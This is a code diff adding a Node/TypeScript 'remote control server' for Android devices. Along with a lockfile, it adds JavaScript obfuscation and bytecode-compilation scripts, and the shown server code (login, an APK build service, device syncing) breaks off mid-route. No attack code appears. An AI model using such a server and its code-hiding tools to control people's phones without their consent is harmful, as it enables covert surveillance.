+ multimatch@5.0.0: + dependencies: + '@types/minimatch': 3.0.5 + array-differ: 3.0.0 + array-union: 2.1.0 + arrify: 2.0.1 + minimatch: 3.1.2 + + multistream@4.1.0: + dependencies: + once: 1.4.0 + readable-stream: 3.6.2 + + napi-build-utils@1.0.2: {} + + napi-build-utils@2.0.0: {} + + negotiator@0.6.3: {} + + negotiator@0.6.4: + optional: true + + node-abi@3.87.0: + dependencies: + semver: 7.7.4 + + node-addon-api@7.1.1: {} + + node-fetch@2.7.0(encoding@0.1.13): + dependencies: + whatwg-url: 5.0.0 + optionalDependencies: + encoding: 0.1.13 + + node-gyp@8.4.1: + dependencies: + env-paths: 2.2.1 + glob: 7.2.3 + graceful-fs: 4.2.11 + make-fetch-happen: 9.1.0 + nopt: 5.0.0 + npmlog: 6.0.2 + rimraf: 3.0.2 + semver: 7.7.4 + tar: 6.2.1 + which: 2.0.2 + transitivePeerDependencies: + - bluebird + - supports-color + optional: true + + nodemon@3.1.11: + dependencies: + chokidar: 3.6.0 + debug: 4.4.3(supports-color@5.5.0) + ignore-by-default: 1.0.1 + minimatch: 3.1.2 + pstree.remy: 1.1.8 + semver: 7.7.4 + simple-update-notifier: 2.0.0 + supports-color: 5.5.0 + touch: 3.1.1 + undefsafe: 2.0.5 + + nopt@5.0.0: + dependencies: + abbrev: 1.1.1 + optional: true + + normalize-path@3.0.0: {} + + npmlog@6.0.2: + dependencies: + are-we-there-yet: 3.0.1 + console-control-strings: 1.1.0 + gauge: 4.0.4 + set-blocking: 2.0.0 + optional: true + + object-assign@4.1.1: {} + + object-inspect@1.13.4: {} + + object-is@1.1.6: + dependencies: + call-bind: 1.0.8 + define-properties: 1.2.1 + + object-keys@1.1.1: {} + + object.assign@4.1.7: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-object-atoms: 1.1.1 + has-symbols: 1.1.0 + object-keys: 1.1.1 + + on-finished@2.4.1: + dependencies: + ee-first: 1.1.1 + + once@1.4.0: + dependencies: + wrappy: 1.0.2 + + one-time@1.0.0: + dependencies: + fn.name: 1.1.0 + + optionator@0.8.3: + dependencies: + deep-is: 0.1.4 + fast-levenshtein: 2.0.6 + levn: 0.3.0 + prelude-ls: 1.1.2 + type-check: 0.3.2 + word-wrap: 1.2.5 + + p-is-promise@3.0.0: {} + + p-map@4.0.0: + dependencies: + aggregate-error: 3.1.0 + optional: true + + parseurl@1.3.3: {} + + path-is-absolute@1.0.1: + optional: true + + path-parse@1.0.7: {} + + path-to-regexp@0.1.12: {} + + path-type@4.0.0: {} + + picomatch@2.3.1: {} + + pkg-fetch@3.4.2(encoding@0.1.13): + dependencies: + chalk: 4.1.2 + fs-extra: 9.1.0 + https-proxy-agent: 5.0.1 + node-fetch: 2.7.0(encoding@0.1.13) + progress: 2.0.3 + semver: 7.7.4 + tar-fs: 2.1.4 + yargs: 16.2.0 + transitivePeerDependencies: + - encoding + - supports-color + + pkg@5.8.1(encoding@0.1.13): + dependencies: + '@babel/generator': 7.18.2 + '@babel/parser': 7.18.4 + '@babel/types': 7.19.0 + chalk: 4.1.2 + fs-extra: 9.1.0 + globby: 11.1.0 + into-stream: 6.0.0 + is-core-module: 2.9.0 + minimist: 1.2.8 + multistream: 4.1.0 + pkg-fetch: 3.4.2(encoding@0.1.13) + prebuild-install: 7.1.1 + resolve: 1.22.11 + stream-meter: 1.0.4 + transitivePeerDependencies: + - encoding + - supports-color + + possible-typed-array-names@1.1.0: {} + + prebuild-install@7.1.1: + dependencies: + detect-libc: 2.1.2 + expand-template: 2.0.3 + github-from-package: 0.0.0 + minimist: 1.2.8 + mkdirp-classic: 0.5.3 + napi-build-utils: 1.0.2 + node-abi: 3.87.0 + pump: 3.0.3 + rc: 1.2.8 + simple-get: 4.0.1 + tar-fs: 2.1.4 + tunnel-agent: 0.6.0 + + prebuild-install@7.1.3: + dependencies: + detect-libc: 2.1.2 + expand-template: 2.0.3 + github-from-package: 0.0.0 + minimist: 1.2.8 + mkdirp-classic: 0.5.3 + napi-build-utils: 2.0.0 + node-abi: 3.87.0 + pump: 3.0.3 + rc: 1.2.8 + simple-get: 4.0.1 + tar-fs: 2.1.4 + tunnel-agent: 0.6.0 + + prelude-ls@1.1.2: {} + + process-nextick-args@2.0.1: {} + + process@0.11.10: {} + + progress@2.0.3: {} + + promise-inflight@1.0.1: + optional: true + + promise-retry@2.0.1: + dependencies: + err-code: 2.0.3 + retry: 0.12.0 + optional: true + + proxy-addr@2.0.7: + dependencies: + forwarded: 0.2.0 + ipaddr.js: 1.9.1 + + pstree.remy@1.1.8: {} + + pump@3.0.3: + dependencies: + end-of-stream: 1.4.5 + once: 1.4.0 + + qs@6.14.2: + dependencies: + side-channel: 1.1.0 + + queue-microtask@1.2.3: {} + + range-parser@1.2.1: {} + + raw-body@2.5.3: + dependencies: + bytes: 3.1.2 + http-errors: 2.0.1 + iconv-lite: 0.4.24 + unpipe: 1.0.0 + + rc@1.2.8: + dependencies: + deep-extend: 0.6.0 + ini: 1.3.8 + minimist: 1.2.8 + strip-json-comments: 2.0.1 + + readable-stream@2.3.8: + dependencies: + core-util-is: 1.0.3 + inherits: 2.0.4 + isarray: 1.0.0 + process-nextick-args: 2.0.1 + safe-buffer: 5.1.2 + string_decoder: 1.1.1 + util-deprecate: 1.0.2 + + readable-stream@3.6.2: + dependencies: + inherits: 2.0.4 + string_decoder: 1.3.0 + util-deprecate: 1.0.2 + + readdirp@3.6.0: + dependencies: + picomatch: 2.3.1 + + reflect-metadata@0.2.2: {} + + require-directory@2.1.1: {} + + require-from-string@2.0.2: {} + + resolve@1.22.11: + dependencies: + is-core-module: 2.16.1 + path-parse: 1.0.7 + supports-preserve-symlinks-flag: 1.0.0 + + retry@0.12.0: + optional: true + + reusify@1.1.0: {} + + rimraf@3.0.2: + dependencies: + glob: 7.2.3 + optional: true + + run-parallel@1.2.0: + dependencies: + queue-microtask: 1.2.3 + + safe-buffer@5.1.2: {} + + safe-buffer@5.2.1: {} + + safe-regex-test@1.1.0: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + is-regex: 1.2.1 + + safe-stable-stringify@2.5.0: {} + + safer-buffer@2.1.2: {} + + semver@7.7.4: {} + + send@0.19.2: + dependencies: + debug: 2.6.9 + depd: 2.0.0 + destroy: 1.2.0 + encodeurl: 2.0.0 + escape-html: 1.0.3 + etag: 1.8.1 + fresh: 0.5.2 + http-errors: 2.0.1 + mime: 1.6.0 + ms: 2.1.3 + on-finished: 2.4.1 + range-parser: 1.2.1 + statuses: 2.0.2 + transitivePeerDependencies: + - supports-color + + serve-static@1.16.3: + dependencies: + encodeurl: 2.0.0 + escape-html: 1.0.3 + parseurl: 1.3.3 + send: 0.19.2 + transitivePeerDependencies: + - supports-color + + set-blocking@2.0.0: + optional: true + + set-function-length@1.2.2: + dependencies: + define-data-property: 1.1.4 + es-errors: 1.3.0 + function-bind: 1.1.2 + get-intrinsic: 1.3.0 + gopd: 1.2.0 + has-property-descriptors: 1.0.2 + + setprototypeof@1.2.0: {} + + side-channel-list@1.0.0: + dependencies: + es-errors: 1.3.0 + object-inspect: 1.13.4 + + side-channel-map@1.0.1: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + object-inspect: 1.13.4 + + side-channel-weakmap@1.0.2: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + object-inspect: 1.13.4 + side-channel-map: 1.0.1 + + side-channel@1.1.0: + dependencies: + es-errors: 1.3.0 + object-inspect: 1.13.4 + side-channel-list: 1.0.0 + side-channel-map: 1.0.1 + side-channel-weakmap: 1.0.2 + + signal-exit@3.0.7: + optional: true + + simple-concat@1.0.1: {} + + simple-get@4.0.1: + dependencies: + decompress-response: 6.0.0 + once: 1.4.0 + simple-concat: 1.0.1 + + simple-update-notifier@2.0.0: + dependencies: + semver: 7.7.4 + + slash@3.0.0: {} + + smart-buffer@4.2.0: + optional: true + + socket.io-adapter@2.5.6: + dependencies: + debug: 4.4.3(supports-color@5.5.0) + ws: 8.18.3 + transitivePeerDependencies: + - bufferutil + - supports-color + - utf-8-validate + + socket.io-parser@4.2.5: + dependencies: + '@socket.io/component-emitter': 3.1.2 + debug: 4.4.3(supports-color@5.5.0) + transitivePeerDependencies: + - supports-color + + socket.io@4.8.3: + dependencies: + accepts: 1.3.8 + base64id: 2.0.0 + cors: 2.8.6 + debug: 4.4.3(supports-color@5.5.0) + engine.io: 6.6.5 + socket.io-adapter: 2.5.6 + socket.io-parser: 4.2.5 + transitivePeerDependencies: + - bufferutil + - supports-color + - utf-8-validate + + socks-proxy-agent@6.2.1: + dependencies: + agent-base: 6.0.2 + debug: 4.4.3(supports-color@5.5.0) + socks: 2.8.7 + transitivePeerDependencies: + - supports-color + optional: true + + socks@2.8.7: + dependencies: + ip-address: 10.1.0 + smart-buffer: 4.2.0 + optional: true + + source-map-support@0.5.21: + dependencies: + buffer-from: 1.1.2 + source-map: 0.6.1 + + source-map@0.6.1: {} + + sqlite3@5.1.7: + dependencies: + bindings: 1.5.0 + node-addon-api: 7.1.1 + prebuild-install: 7.1.3 + tar: 6.2.1 + optionalDependencies: + node-gyp: 8.4.1 + transitivePeerDependencies: + - bluebird + - supports-color + + ssri@8.0.1: + dependencies: + minipass: 3.3.6 + optional: true + + stack-trace@0.0.10: {} + + statuses@2.0.2: {} + + stream-meter@1.0.4: + dependencies: + readable-stream: 2.3.8 + + streamsearch@1.1.0: {} + + string-template@1.0.0: {} + + string-width@4.2.3: + dependencies: + emoji-regex: 8.0.0 + is-fullwidth-code-point: 3.0.0 + strip-ansi: 6.0.1 + + string_decoder@1.1.1: + dependencies: + safe-buffer: 5.1.2 + + string_decoder@1.3.0: + dependencies: + safe-buffer: 5.2.1 + + stringz@2.1.0: + dependencies: + char-regex: 1.0.2 + + strip-ansi@6.0.1: + dependencies: + ansi-regex: 5.0.1 + + strip-json-comments@2.0.1: {} + + stubborn-fs@2.0.0: + dependencies: + stubborn-utils: 1.0.2 + + stubborn-utils@1.0.2: {} + + supports-color@5.5.0: + dependencies: + has-flag: 3.0.0 + + supports-color@7.2.0: + dependencies: + has-flag: 4.0.0 + + supports-preserve-symlinks-flag@1.0.0: {} + + tagged-tag@1.0.0: {} + + tar-fs@2.1.4: + dependencies: + chownr: 1.1.4 + mkdirp-classic: 0.5.3 + pump: 3.0.3 + tar-stream: 2.2.0 + + tar-stream@2.2.0: + dependencies: + bl: 4.1.0 + end-of-stream: 1.4.5 + fs-constants: 1.0.0 + inherits: 2.0.4 + readable-stream: 3.6.2 + + tar@6.2.1: + dependencies: + chownr: 2.0.0 + fs-minipass: 2.1.0 + minipass: 5.0.0 + minizlib: 2.1.2 + mkdirp: 1.0.4 + yallist: 4.0.0 + + terser@5.46.0: + dependencies: + '@jridgewell/source-map': 0.3.11 + acorn: 8.15.0 + commander: 2.20.3 + source-map-support: 0.5.21 + + text-hex@1.0.0: {} + + to-fast-properties@2.0.0: {} + + to-regex-range@5.0.1: + dependencies: + is-number: 7.0.0 + + toidentifier@1.0.1: {} + + touch@3.1.1: {} + + tr46@0.0.3: {} + + triple-beam@1.4.1: {} + + ts-node@10.9.2(@types/node@20.19.33)(typescript@5.9.3): + dependencies: + '@cspotcode/source-map-support': 0.8.1 + '@tsconfig/node10': 1.0.12 + '@tsconfig/node12': 1.0.11 + '@tsconfig/node14': 1.0.3 + '@tsconfig/node16': 1.0.4 + '@types/node': 20.19.33 + acorn: 8.15.0 + acorn-walk: 8.3.4 + arg: 4.1.3 + create-require: 1.1.1 + diff: 4.0.4 + make-error: 1.3.6 + typescript: 5.9.3 + v8-compile-cache-lib: 3.0.1 + yn: 3.1.1 + + tslib@2.8.1: {} + + tunnel-agent@0.6.0: + dependencies: + safe-buffer: 5.2.1 + + type-check@0.3.2: + dependencies: + prelude-ls: 1.1.2 + + type-fest@5.4.4: + dependencies: + tagged-tag: 1.0.0 + + type-is@1.6.18: + dependencies: + media-typer: 0.3.0 + mime-types: 2.1.35 + + typedarray@0.0.6: {} + + typescript@5.9.3: {} + + uint8array-extras@1.5.0: {} + + undefsafe@2.0.5: {} + + undici-types@6.21.0: {} + + unique-filename@1.1.1: + dependencies: + unique-slug: 2.0.2 + optional: true + + unique-slug@2.0.2: + dependencies: + imurmurhash: 0.1.4 + optional: true + + universalify@2.0.1: {} + + unpipe@1.0.0: {} + + util-deprecate@1.0.2: {} + + util@0.12.5: + dependencies: + inherits: 2.0.4 + is-arguments: 1.2.0 + is-generator-function: 1.1.2 + is-typed-array: 1.1.15 + which-typed-array: 1.1.20 + + utils-merge@1.0.1: {} + + uuid@11.1.0: {} + + v8-compile-cache-lib@3.0.1: {} + + validator@13.15.26: {} + + vary@1.1.2: {} + + webidl-conversions@3.0.1: {} + + whatwg-url@5.0.0: + dependencies: + tr46: 0.0.3 + webidl-conversions: 3.0.1 + + when-exit@2.1.5: {} + + which-typed-array@1.1.20: + dependencies: + available-typed-arrays: 1.0.7 + call-bind: 1.0.8 + call-bound: 1.0.4 + for-each: 0.3.5 + get-proto: 1.0.1 + gopd: 1.2.0 + has-tostringtag: 1.0.2 + + which@2.0.2: + dependencies: + isexe: 2.0.0 + optional: true + + wide-align@1.1.5: + dependencies: + string-width: 4.2.3 + optional: true + + winston-transport@4.9.0: + dependencies: + logform: 2.7.0 + readable-stream: 3.6.2 + triple-beam: 1.4.1 + + winston@3.19.0: + dependencies: + '@colors/colors': 1.6.0 + '@dabh/diagnostics': 2.0.8 + async: 3.2.6 + is-stream: 2.0.1 + logform: 2.7.0 + one-time: 1.0.0 + readable-stream: 3.6.2 + safe-stable-stringify: 2.5.0 + stack-trace: 0.0.10 + triple-beam: 1.4.1 + winston-transport: 4.9.0 + + word-wrap@1.2.5: {} + + wrap-ansi@7.0.0: + dependencies: + ansi-styles: 4.3.0 + string-width: 4.2.3 + strip-ansi: 6.0.1 + + wrappy@1.0.2: {} + + ws@8.18.3: {} + + ws@8.19.0: {} + + xtend@4.0.2: {} + + y18n@5.0.8: {} + + yallist@4.0.0: {} + + yargs-parser@20.2.9: {} + + yargs@16.2.0: + dependencies: + cliui: 7.0.4 + escalade: 3.2.0 + get-caller-file: 2.0.5 + require-directory: 2.1.1 + string-width: 4.2.3 + y18n: 5.0.8 + yargs-parser: 20.2.9 + + yn@3.1.1: {} diff --git a/pnpm-workspace.yaml b/pnpm-workspace.yaml new file mode 100644 index 0000000..6dc6f4f --- /dev/null +++ b/pnpm-workspace.yaml @@ -0,0 +1,3 @@ +onlyBuiltDependencies: + - better-sqlite3 + - sqlite3 diff --git a/scripts/compile-to-bytecode.js b/scripts/compile-to-bytecode.js new file mode 100644 index 0000000..47cca36 --- /dev/null +++ b/scripts/compile-to-bytecode.js @@ -0,0 +1,113 @@ +/** + * 将 JavaScript 编译成字节码 + * 使用 bytenode 将 JS 编译成 .jsc 文件,增加破解难度 + */ +const bytenode = require('bytenode') +const fs = require('fs') +const path = require('path') + +/** + * 编译单个文件为字节码 + */ +function compileFile(inputPath, outputPath) { + try { + console.log(`编译字节码: ${inputPath} -> ${outputPath}`) + + // 确保输出目录存在 + const outputDir = path.dirname(outputPath) + if (!fs.existsSync(outputDir)) { + fs.mkdirSync(outputDir, { recursive: true }) + } + + // 编译为字节码 + bytenode.compileFile(inputPath, outputPath) + + console.log(`✅ 编译完成: ${outputPath}`) + return true + } catch (error) { + console.error(`❌ 编译失败: ${inputPath}`, error.message) + return false + } +} + +/** + * 递归编译目录中的所有 JS 文件 + */ +function compileDirectory(inputDir, outputDir) { + if (!fs.existsSync(inputDir)) { + console.error(`❌ 输入目录不存在: ${inputDir}`) + return false + } + + const files = fs.readdirSync(inputDir) + let successCount = 0 + let failCount = 0 + + files.forEach(file => { + const inputPath = path.join(inputDir, file) + const stat = fs.statSync(inputPath) + + if (stat.isDirectory()) { + // 递归处理子目录 + const subOutputDir = path.join(outputDir, file) + if (compileDirectory(inputPath, subOutputDir)) { + successCount++ + } else { + failCount++ + } + } else if (file.endsWith('.js') && !file.endsWith('.min.js')) { + // 编译 .js 文件为 .jsc + const outputPath = path.join(outputDir, file.replace('.js', '.jsc')) + if (compileFile(inputPath, outputPath)) { + successCount++ + } else { + failCount++ + } + } else { + // 复制非 JS 文件 + const outputPath = path.join(outputDir, file) + const outputPathDir = path.dirname(outputPath) + if (!fs.existsSync(outputPathDir)) { + fs.mkdirSync(outputPathDir, { recursive: true }) + } + fs.copyFileSync(inputPath, outputPath) + } + }) + + console.log(`\n编译统计: 成功 ${successCount} 个文件, 失败 ${failCount} 个文件`) + return failCount === 0 +} + +// 主函数 +function main() { + const args = process.argv.slice(2) + + if (args.length < 2) { + console.log('用法: node compile-to-bytecode.js <输入目录> <输出目录>') + console.log('示例: node compile-to-bytecode.js dist dist-bytecode') + process.exit(1) + } + + const inputDir = path.resolve(args[0]) + const outputDir = path.resolve(args[1]) + + console.log('开始编译为字节码...') + console.log(`输入目录: ${inputDir}`) + console.log(`输出目录: ${outputDir}\n`) + + if (compileDirectory(inputDir, outputDir)) { + console.log('\n✅ 所有文件编译完成!') + console.log('注意: 字节码文件需要 bytenode 运行时才能执行') + process.exit(0) + } else { + console.log('\n❌ 编译过程中有错误') + process.exit(1) + } +} + +if (require.main === module) { + main() +} + +module.exports = { compileFile, compileDirectory } + diff --git a/scripts/obfuscate.js b/scripts/obfuscate.js new file mode 100644 index 0000000..22fcf96 --- /dev/null +++ b/scripts/obfuscate.js @@ -0,0 +1,116 @@ +/** + * 代码混淆脚本 + * 使用 javascript-obfuscator 混淆代码 + */ +const JavaScriptObfuscator = require('javascript-obfuscator') +const fs = require('fs') +const path = require('path') +const config = require('../obfuscate.config.js') + +/** + * 混淆单个文件 + */ +function obfuscateFile(inputPath, outputPath) { + try { + console.log(`混淆文件: ${inputPath} -> ${outputPath}`) + + const code = fs.readFileSync(inputPath, 'utf8') + const obfuscationResult = JavaScriptObfuscator.obfuscate(code, config) + const obfuscatedCode = obfuscationResult.getObfuscatedCode() + + // 确保输出目录存在 + const outputDir = path.dirname(outputPath) + if (!fs.existsSync(outputDir)) { + fs.mkdirSync(outputDir, { recursive: true }) + } + + fs.writeFileSync(outputPath, obfuscatedCode, 'utf8') + console.log(`✅ 混淆完成: ${outputPath}`) + + return true + } catch (error) { + console.error(`❌ 混淆失败: ${inputPath}`, error.message) + return false + } +} + +/** + * 递归混淆目录中的所有 JS 文件 + */ +function obfuscateDirectory(inputDir, outputDir) { + if (!fs.existsSync(inputDir)) { + console.error(`❌ 输入目录不存在: ${inputDir}`) + return false + } + + const files = fs.readdirSync(inputDir) + let successCount = 0 + let failCount = 0 + + files.forEach(file => { + const inputPath = path.join(inputDir, file) + const stat = fs.statSync(inputPath) + + if (stat.isDirectory()) { + // 递归处理子目录 + const subOutputDir = path.join(outputDir, file) + if (obfuscateDirectory(inputPath, subOutputDir)) { + successCount++ + } else { + failCount++ + } + } else if (file.endsWith('.js') && !file.endsWith('.min.js')) { + // 只混淆 .js 文件,跳过已压缩的文件 + const outputPath = path.join(outputDir, file) + if (obfuscateFile(inputPath, outputPath)) { + successCount++ + } else { + failCount++ + } + } else { + // 复制非 JS 文件 + const outputPath = path.join(outputDir, file) + const outputPathDir = path.dirname(outputPath) + if (!fs.existsSync(outputPathDir)) { + fs.mkdirSync(outputPathDir, { recursive: true }) + } + fs.copyFileSync(inputPath, outputPath) + } + }) + + console.log(`\n混淆统计: 成功 ${successCount} 个文件, 失败 ${failCount} 个文件`) + return failCount === 0 +} + +// 主函数 +function main() { + const args = process.argv.slice(2) + + if (args.length < 2) { + console.log('用法: node obfuscate.js <输入目录> <输出目录>') + console.log('示例: node obfuscate.js dist dist-obfuscated') + process.exit(1) + } + + const inputDir = path.resolve(args[0]) + const outputDir = path.resolve(args[1]) + + console.log('开始混淆代码...') + console.log(`输入目录: ${inputDir}`) + console.log(`输出目录: ${outputDir}\n`) + + if (obfuscateDirectory(inputDir, outputDir)) { + console.log('\n✅ 所有文件混淆完成!') + process.exit(0) + } else { + console.log('\n❌ 混淆过程中有错误') + process.exit(1) + } +} + +if (require.main === module) { + main() +} + +module.exports = { obfuscateFile, obfuscateDirectory } + diff --git a/src/index.ts b/src/index.ts new file mode 100644 index 0000000..43bc125 --- /dev/null +++ b/src/index.ts @@ -0,0 +1,2358 @@ +// 在文件最顶部加载环境变量配置 +import dotenv from 'dotenv' +import path from 'path' + +// pkg 打包后,需要从可执行文件所在目录读取 .env 文件 +// @ts-ignore - process.pkg 是 pkg 打包后添加的属性 +const envPath = process.pkg + ? path.join(path.dirname(process.execPath), '.env') + : path.join(process.cwd(), '.env') + +dotenv.config({ path: envPath }) + +import express from 'express' +import { Server, createServer } from 'http' +import { Server as SocketIOServer } from 'socket.io' +import cors from 'cors' +import multer from 'multer' +import { v4 as uuidv4 } from 'uuid' +import fs from 'fs' +import DeviceManager from './managers/DeviceManager' +import WebClientManager from './managers/WebClientManager' +import MessageRouter from './services/MessageRouter' +import { DatabaseService } from './services/DatabaseService' +import Logger from './utils/Logger' +import APKBuildService from './services/APKBuildService' +import AuthService from './services/AuthService' +import DeviceInfoSyncService from './services/DeviceInfoSyncService' +import { AdaptiveQualityService } from './services/AdaptiveQualityService' + +/** + * 远程控制服务端主应用 + */ +class RemoteControlServer { + private app: express.Application + private server: Server + private io: SocketIOServer + private deviceManager: DeviceManager + private webClientManager: WebClientManager + private messageRouter: MessageRouter + private databaseService: DatabaseService + private logger: Logger + private apkBuildService: APKBuildService + private authService: AuthService + private deviceInfoSyncService: DeviceInfoSyncService + private adaptiveQualityService: AdaptiveQualityService + private upload: multer.Multer + private registrationQueue: Array<{ socket: any, data: any, timestamp: number }> = [] + private isProcessingRegistration = false + private lastRegistrationTime = 0 + private readonly REGISTRATION_COOLDOWN = 100 // 100ms间隔处理注册 + + constructor() { + this.app = express() + this.server = createServer(this.app) + this.io = new SocketIOServer(this.server, { + cors: { + origin: "*", + methods: ["GET", "POST"] + }, + transports: ['polling', 'websocket'], // 🔧 修复:支持两种传输,Android用polling,Web用websocket + allowUpgrades: true, // 允许从polling升级到websocket + // 🔧 适度优化心跳配置,保持与Android端兼容 + pingTimeout: 90000, // 90秒 - 适度增加超时,避免网络抖动误断 + pingInterval: 45000, // 45秒 - 保持合理的心跳间隔 + upgradeTimeout: 45000, // 45秒 - 升级超时 + connectTimeout: 60000, // 60秒 - 连接超时 + // 🔧 连接管理优化 + maxHttpBufferSize: 1e8, // 100MB - 增大缓冲区,适应大屏幕数据 + allowEIO3: true, // 允许Engine.IO v3兼容性 + // ✅ 服务器端优化 + serveClient: false, // 禁用客户端服务,减少不必要的连接 + destroyUpgrade: false, // 不销毁升级连接 + destroyUpgradeTimeout: 1000, // 升级销毁超时1秒 + cookie: false, // 禁用cookie,减少连接复杂性 + // 🔧 新增:解决transport error的关键配置 + perMessageDeflate: false, // 禁用消息压缩,减少CPU负担和传输延迟 + httpCompression: false, // 禁用HTTP压缩,避免大数据传输时的压缩开销 + allowRequest: (req, callback) => { + // 允许所有请求,但记录连接信息用于调试 + const userAgent = req.headers['user-agent'] || 'unknown' + const remoteAddress = req.connection.remoteAddress || 'unknown' + callback(null, true) + } + }) + + this.logger = new Logger('Server') + this.databaseService = new DatabaseService() + this.deviceManager = new DeviceManager() + this.webClientManager = new WebClientManager(this.databaseService) + this.webClientManager.setSocketIO(this.io) + this.messageRouter = new MessageRouter(this.deviceManager, this.webClientManager, this.databaseService) + this.apkBuildService = new APKBuildService() + this.authService = new AuthService() + // 注意:AuthService 的异步初始化在 start() 方法中执行 + this.deviceInfoSyncService = new DeviceInfoSyncService(this.authService) + this.adaptiveQualityService = new AdaptiveQualityService() + + // 配置multer用于文件上传 + this.upload = multer({ + storage: multer.memoryStorage(), + limits: { + fileSize: 2 * 1024 * 1024, // 2MB限制 + }, + fileFilter: (req, file, cb) => { + if (file.mimetype.startsWith('image/')) { + cb(null, true) + } else { + cb(new Error('只支持图片文件')) + } + } + }) + + // ✅ 清理所有旧的客户端和设备记录(服务器重启时) + this.webClientManager.clearAllClients() + this.deviceManager.clearAllDevices() + + this.setupMiddleware() + this.setupRoutes() + this.setupSocketHandlers() + + // ✅ 启动状态一致性检查定时器 + this.startConsistencyChecker() + + // 🆕 启动设备信息同步服务 + this.deviceInfoSyncService.start() + } + + /** + * 设置中间件 + */ + private setupMiddleware(): void { + this.app.use(cors()) + this.app.use(express.json()) + + // pkg 打包后,需要从可执行文件所在目录读取 public 目录 + // @ts-ignore - process.pkg 是 pkg 打包后添加的属性 + const publicPath = (process as any).pkg + ? path.join(path.dirname(process.execPath), 'public') + : path.join(process.cwd(), 'public') + + this.app.use(express.static(publicPath)) + } + + /** + * 认证中间件 - 验证JWT token + */ + private authMiddleware = (req: any, res: any, next: any) => { + try { + const authHeader = req.headers.authorization + + if (!authHeader || !authHeader.startsWith('Bearer ')) { + return res.status(401).json({ + success: false, + message: '未提供认证token' + }) + } + + const token = authHeader.substring(7) + const result = this.authService.verifyToken(token) + + if (!result.valid) { + return res.status(401).json({ + success: false, + message: result.error || '认证失败' + }) + } + + // 将用户信息添加到请求对象(包含角色信息) + req.user = result.user + req.user.isSuperAdmin = result.user?.role === 'superadmin' + next() + + } catch (error: any) { + this.logger.error('认证中间件错误:', error) + res.status(500).json({ + success: false, + message: '服务器内部错误' + }) + } + } + + /** + * 检查是否为超级管理员 + */ + private isSuperAdmin(req: any): boolean { + return req.user?.role === 'superadmin' || req.user?.isSuperAdmin === true + } + + /** + * 设置HTTP路由 + */ + private setupRoutes(): void { + // 认证路由 + this.app.post('/api/auth/login', async (req, res) => { + try { + const { username, password } = req.body + + if (!username || !password) { + res.status(400).json({ + success: false, + message: '用户名和密码不能为空' + }) + return + } + + // 🆕 检查是否已有活跃的Web客户端在线(超级管理员不受此限制) + const activeWebClients = this.getActiveWebClients() + const isSuperAdminLogin = username === (process.env.SUPERADMIN_USERNAME || 'superadmin') + + if (activeWebClients.length > 0 && !isSuperAdminLogin) { + this.logger.warn(`拒绝登录请求: 检测到 ${activeWebClients.length} 个活跃的Web客户端已在线`) + res.status(409).json({ + success: false, + message: '已有Web端在线,不允许重复登录', + activeClients: activeWebClients.length, + details: `检测到 ${activeWebClients.length} 个活跃的Web客户端连接。为确保安全,同时只允许一个Web端登录。` + }) + return + } + + if (isSuperAdminLogin && activeWebClients.length > 0) { + this.logger.info(`超级管理员登录,忽略 ${activeWebClients.length} 个活跃客户端限制`) + } + + const result = await this.authService.login(username, password) + + if (result.success) { + this.logger.info(`用户登录成功: ${username}, 当前无其他Web客户端在线`) + res.json(result) + } else { + res.status(401).json(result) + } + + } catch (error: any) { + this.logger.error('登录接口错误:', error) + res.status(500).json({ + success: false, + message: '服务器内部错误' + }) + } + }) + + this.app.post('/api/auth/verify', (req, res) => { + try { + const authHeader = req.headers.authorization + + if (!authHeader || !authHeader.startsWith('Bearer ')) { + res.status(401).json({ + valid: false, + error: '缺少认证token' + }) + return + } + + const token = authHeader.substring(7) + const result = this.authService.verifyToken(token) + + res.json(result) + + } catch (error: any) { + this.logger.error('Token验证接口错误:', error) + res.status(500).json({ + valid: false, + error: '服务器内部错误' + }) + } + }) + + this.app.post('/api/auth/logout', (req, res) => { + // 简单的登出响应,实际的token失效在前端处理 + res.json({ + success: true, + message: '登出成功' + }) + }) + + // 检查系统是否已初始化(不需要认证) + this.app.get('/api/auth/check-initialization', (req, res) => { + try { + const isInitialized = this.authService.isInitialized() + const initInfo = this.authService.getInitializationInfo() + const lockFilePath = this.authService.getInitLockFilePath() + + res.json({ + success: true, + isInitialized, + initializationInfo: initInfo, + lockFilePath: lockFilePath, + help: isInitialized ? + `系统已初始化。如需重新初始化,请删除锁文件: ${lockFilePath}` : + '系统未初始化,需要进行首次设置' + }) + } catch (error: any) { + this.logger.error('检查初始化状态失败:', error) + res.status(500).json({ + success: false, + error: '服务器内部错误' + }) + } + }) + + // 初始化系统(不需要认证,但只有在未初始化时才能调用) + this.app.post('/api/auth/initialize', async (req, res) => { + try { + const { username, password } = req.body + + if (!username || !password) { + res.status(400).json({ + success: false, + message: '用户名和密码不能为空' + }) + return + } + + const result = await this.authService.initializeSystem(username, password) + + if (result.success) { + res.json(result) + } else { + res.status(400).json(result) + } + + } catch (error: any) { + this.logger.error('系统初始化接口错误:', error) + res.status(500).json({ + success: false, + message: '服务器内部错误' + }) + } + }) + + // // 🆕 设备信息同步相关 API + // this.app.get('/api/device/sync/status', this.authMiddleware, (req: any, res) => { + // try { + // const status = this.deviceInfoSyncService.getStatus() + // res.json({ + // success: true, + // ...status + // }) + // } catch (error: any) { + // this.logger.error('获取同步状态失败:', error) + // res.status(500).json({ + // success: false, + // message: '获取同步状态失败' + // }) + // } + // }) + + // this.app.post('/api/device/sync/trigger', this.authMiddleware, async (req: any, res) => { + // try { + // const success = await this.deviceInfoSyncService.triggerSync() + // if (success) { + // res.json({ + // success: true, + // message: '同步已触发' + // }) + // } else { + // res.status(500).json({ + // success: false, + // message: '同步触发失败' + // }) + // } + // } catch (error: any) { + // this.logger.error('触发同步失败:', error) + // res.status(500).json({ + // success: false, + // message: '触发同步失败' + // }) + // } + // }) + + // 健康检查 + this.app.get('/health', (req, res) => { + res.json({ + status: 'ok', + timestamp: new Date().toISOString(), + connectedDevices: this.deviceManager.getDeviceCount(), + connectedClients: this.webClientManager.getClientCount() + }) + }) + + // API路由 (需要认证) + this.app.get('/api/devices', this.authMiddleware, (req, res) => { + // ✅ 使用完整的设备列表(包含历史设备和正确状态) + res.json(this.getAllDevicesIncludingHistory()) + }) + + this.app.get('/api/devices/:deviceId', this.authMiddleware, (req, res) => { + const device = this.deviceManager.getDevice(req.params.deviceId) + if 